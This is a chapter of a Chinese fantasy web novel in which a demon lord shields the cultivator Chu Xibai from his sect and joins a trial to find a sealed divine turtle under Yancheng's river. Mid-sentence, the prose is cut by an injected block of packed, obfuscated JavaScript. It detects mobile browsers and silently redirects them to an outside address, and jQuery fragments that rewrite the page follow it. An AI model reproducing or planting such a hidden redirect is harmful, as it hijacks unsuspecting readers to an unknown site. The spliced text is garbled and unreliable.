4. 龟虽寿(一)

作品:《再见上仙

    楚熙白最后还是坚持赢回一局才心满意足地休息。


    他确实是有些乏力了,刚一沾床就昏睡过去。祀漓本想和他对着玩儿,凑过去才发现人已经睡着了。


    于是他兴致缺缺地走出去,吩咐遮瑕去寻二把手雪覆,派他俩去调查楚熙白。


    遮瑕一听雪覆,神情有些控制不住地欢喜,当即就告辞。


    雪覆,妖魔双道共主之一。不过这魔极少露面,传闻跟他也毫不沾边,时间长了,众人只知道祀漓,不知道还有一个魔头。


    雪覆住的地方终年落雪,白茫茫一片,冷淡又无趣。遮瑕一边紧紧身上的大氅,慢慢地往他在的地方走。


    走一步,退三步。


    走一步,再退三步。


    来来回回,直到他下定决心埋头走到那间木屋前,伸手想敲门。


    伸手,放下。


    再伸手,再放下。


    如此往复,一鼓作的气都泄没了,遮瑕才轻轻地,克制地笃了下,猛地闭眼。


    哗啦。


    雪团坠下的声音仿佛都在嘲笑他声音小。


    门开了。遮瑕闭着眼迈步,就被门槛绊倒。正当他要摔个四仰八叉的时候,一阵刺骨的风托起他。


    冷淡如寒冬的声音说:“倒也不必行此大礼。”


    “谁行礼了?”遮瑕装模做样地掸掸落在肩上的雪,嘴硬:“你这门口的积雪也太厚了,我一时站不稳,怪它。”


    “嗯。”声音带着一丝不易察觉的笑:“怪它。”


    “这还差不多……”遮瑕迈步进门。一向冷得不见生机的屋子随着他的进入点起盏盏暖灯。


    白发如雪,连睫毛都是银白的人坐在中央,微微带着笑意看他走过来。


    “冷死了……”遮瑕一见他,小心思再也藏不住。他生起灶火,把狐裘解下披在雪覆身上。


    雪覆说:“我想要你的尾巴。”


    “要我尾巴干嘛!”遮瑕小小地凶了他一下,还是让雪覆抱着他的尾巴。


    雪覆笑了一下。


    遮瑕鼓了鼓腮帮子,落下的长发遮住耳根的红。


    同他传达祀漓交代给他们的任务,雪覆垂眸思索,轻声道:“玉鉴山啊。”


    玉鉴山后山。


    乐宗长老乐蜻看着毫无动静的传讯符,朝其他三位长老摇摇头。


    “联系不上么?”符箓宗长老问。


    “是,没有任何消息。我检测到他身上多了股不属于他的灵力。昨日有瞧见他的弟子说,如果没认错,那他此刻应该是和祀漓在一起的。”


    梅良兴啧了一声:“怪不得昨天他来大闹一通。”


    “楚熙白和祀漓走在一起了。”符宗长老符先文说。


    四人一时面面相觑。


    “他们一同去了考核,估计是知道后面仙境开放需要从这里获取资格。”梅良兴压着眉毛,他做了个抹杀的动作:“机会不多。”


    祀漓一直是他们的心头大患。他们绝对,绝对不允许楚熙白和祀漓走在一起的。


    修仙人和妖魔混迹在一起,成何体统,有失颜面。


    “召回楚熙白问罚。”


    收到召令的时候,楚熙白没有避着祀漓。


    召令的大致意思是,宗门知晓他和妖道有所来往,违背宗门一贯教诲,命他速回山问罚。


    祀漓嗤笑一声,直接把召令碾碎。


    “你是我抢来的人。”祀漓说:“不回去。”


    “好。”楚熙白笑着,往祀漓旁边挪了一步:“共主大人罩我。”


    “嗯。”祀漓垂手握住他的手腕。为了混进考核里,两人都做了些改装。只要负责此事的弟子们瞧不出来就成。


    偃城多水,是名副其实的水城。九门桥的护城河底镇着只神龟,相传是位上仙途径此地,见偃城多受于水灾之患,派座下神龟镇于河底。


    永保此后偃城再无水灾之扰。


    无人知晓这神龟镇于何处。但近来河线水位过高,甚至已经隐隐没过岸线,对偃城产生威胁。


    此来弟子的任务是找到百年前神龟镇的地方,理清楚神龟失效缘由。


    祀漓带着楚熙白跳进河里。金色纹光漾起,待修士下饺子似的进入后,传送门关闭。


    这两人隐在众人身后,听他们拿着罗盘讨论神龟方位。


    “这罗盘是不是不灵啊,指针怎么转了那么久还不见停下?”


    “罗盘只能探出比它弱的妖魔所在地,像这种仙人留下的镇物,等级比你那罗盘不知高了多少,当然测不出。”


    “我这儿有个仙物。”有人拿出块玉。这里的所有人楚熙白都不认识,但他闲看书时了解到,当今天下第一富商江家。


    这江家的衣服都喜欢绣些水浪,因为吃的是水上的饭。


    “哦?江大公子有何大招也让尔等开开眼。”


    这江家公子倒也实在,不吊人胃口,当即就从怀里掏出来一截横木。


    凭心而论,这根横木普通得不能再普通了。众人哦了声后,就有人问了:“这木头跟仙君有什么关系?”


    “这你就不知道了。”作为那位仙君的一位狂热的忠实爱好者,江岿正要细细道来,便听得有人打断:“你既说这是那位仙君的东西,那是否也可以迅速找到神龟?”


    也并不是有人喜欢听仙君的故事。在当今很多人眼里,仙君确实不如玉鉴山的名头好使。


    江岿使了点法诀,木头没有动半分。他不信邪地再试好几次,木头稳稳当当的,该是什么是什么样。


    正当他尴尬地站在原地时,忽地听到身后有人说:“是不是需要先用法诀将它唤醒?若是认主的东西,遗落后会自我封闭起来的。”


    江岿如找到救命稻草,迅速一点头:“对,我忘了。”


    说罢他照做,木头闪过丝光芒,破开水层,咻一下不见了。


    众人还未反应过来,木头自己长脚飞了。


    江公子:“……等等!”


    众人追逐木头方向而去。


    江公子在原地挠挠头,看到还未动身的祀漓和楚熙白二人。这位热心肠的江公子问:“你们是不是术法这方面不太熟啊?要不要我带你们一程?”


    他指指旁边数十个侍卫。


    祀漓对找龟没兴趣,或者说,他来的目的压根不是为了什么屁考核,他是因为魄精动,来找东西。顺便看看玉鉴山的笑话。


    他下意识对站在身边的人颔首。一般情况下是提醒该当嘴替了。


    江公子把目光转向楚熙白。


    楚熙白饶有兴趣地问:“怎么个带法?”


    祀漓一听他问这句话就知道他没瞥什么好屁。


    果然,在知道是俩侍卫拎人胳膊走的时候,楚熙白就答应了。替他答应的。


    ……一向什么都不放眼里的妖道共主栽了,不止一次地栽在同个人手里。


    “不用。”祀漓说。


    楚熙白:“哎呀他就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108026|179872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是不好意思……唔唔唔!”


    伸手捂住楚熙白的嘴后,祀漓提步而行,转瞬就把人为带飞的江岿落在后面,进到水洞穴里。


    洞穴黑黢黢的,说话都带着回响,伸手不见五指。火星也搓不开。祀漓手落下,抓着楚熙白的手腕:“跟紧我。”


    楚熙白用力握了握回应。


    此地干燥,隐隐有股恶臭,像是放了好几天腐烂后的食物那样。众人说话的声音时远时近。


    这对十分讲究的祀漓来说,这简直就是酷刑。


    见祀漓顿住脚步,楚熙白眉头微蹙:“怎么了?”


    “什么怎么了?”


    “怎么不走了?是哪里不适应么?”


    电光火石间,祀漓伸手掐着他的脖颈砸在洞穴石壁上:“你是谁?”


    颈骨咯咯作响,那人如同破风机般嗬嗬喘息:“我是,楚熙白啊。”


    祀漓嫌恶道:“你不配提。”


    说罢手上毫不留情,最后一缕气息落下,祀漓收回手,蹭了蹭衣袖。


    他认出是鬼打墙阵,最恶心的阵法。一旦踏入此阵会悄无声息地将你与同伴隔开,阵里专门有东西化作你同伴的样子迷惑你。你需得不断地杀掉蛊惑的东西,最后可能连同伴都认不得,落得自相残杀的下场,最后在阵里迷失自我,成为阵的养料。


    这是禁术。


    红光闪过,他张开的手掌弯弯绕绕垂坠了细细的红线。祀漓慢慢地拨弄理齐红线,听到有声音在喊他。


    “祀漓?”


    他没有回头,红线迅速弹出贯穿那人的心脏。


    “祀……漓?”那人的声音轻又远,好似呢喃。


    祀漓旋即转身。


    鬼打墙阵眼迷烟倏然散开,继鬼打墙后又是一道幻境。


    金光粼粼的池子在烟雾渐渐散尽后方显,有只九尾狐正窝在竹简上睡觉。


    池子里的乌龟从壳里伸出脑袋探看四周,含了口水朝正打瞌睡的狐狸身上喷去。


    打瞌睡的狐狸猝不及防被喷了满身,睁眼怒嚎,一人一龟开始互殴。


    旁边还有个看热闹不嫌事儿大,时不时指导一下的人。


    但是他指导又与正确出招不同,简单来说就是捣乱。


    很快双方对视,开始调转矛头攻击捣乱的人。


    那人懒散披着长发,着天青色衣衫,衣袂飘扬间轻松化解招式。


    龟比较憨厚老实,不会攻击自己的主人,剩狐狸挠几爪子,见打不过就开始耍赖咬住他的手。


    乌龟口吐人言:“仙君,他又偷懒。”


    狐狸争辩:“书那么枯燥,怎么可能看得下去,况且我那是在适当休息!”


    它前几天把来访的客人抓伤,仙君这才罚它看完阵法的书,完了还要检查。作为一只生性喜欢自由且凡事喜欢武力解决的狐狸,看书学习就是对它的惩罚。


    “我那是维护你!”狐狸开始上蹿下跳:“他们对你出言不逊,我好意维护为何还要落得惩罚?我不服!”


    仙君蹲下,挠挠它的下巴,狐狸舒服地在他手心里眯起眼。


    “这不是来带你出去么。”


    狐狸呲呲牙,麻溜地跳进他的怀里。


    这狐狸不仅喜欢暴力解决事情,还懒,最喜欢的就是骑仙君头上撒野。偏偏仙君对它的容忍度很高。


    实际上仙君无论对谁的容忍度都很高。


    “去哪。”


    “去偃城的九门桥。”